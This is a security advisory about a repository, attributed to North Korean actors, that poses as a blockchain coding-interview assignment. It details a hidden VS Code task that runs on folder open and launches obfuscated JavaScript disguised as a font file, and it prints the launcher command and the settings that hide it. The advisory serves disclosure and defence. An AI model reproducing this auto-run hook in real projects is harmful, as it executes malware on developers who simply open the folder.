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GCVE-110-OSM-2026-1269

GCVE-110-OSM-2026-1269
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published March 11, 2026
DPRK threat actor repository containing VS Code auto-execution malware disguised as a blockchain coding interview/assessment. Opens with malicious .vscode/tasks.json that silently executes an obfuscated JavaScript payload hidden as a font file when the victim opens the project in VS Code. === PAYLOAD: VS Code Auto-Execution === Malicious payload found in: .vscode/tasks.json Attack vector: runOn:folderOpen auto-executes hidden shell task labeled eslint-check Command: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) Payload file: public/fonts/fa-solid-400.woff2 (5,097 bytes of obfuscated JavaScript disguised as a font file) Obfuscation: Character shuffling, custom decode functions, global require hijacking, variable name obfuscation Social engineering: INSTRUCTIONS.md poses as Blockchain HomeTask Applicant Instructions with 4-6 hour coding test Task presentation is fully hidden (reveal:never, echo:false, hide:true, close:true) Cross-platform: Linux/macOS (command -v) and Windows (where)

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknownBlockchain-Test3* (affected)

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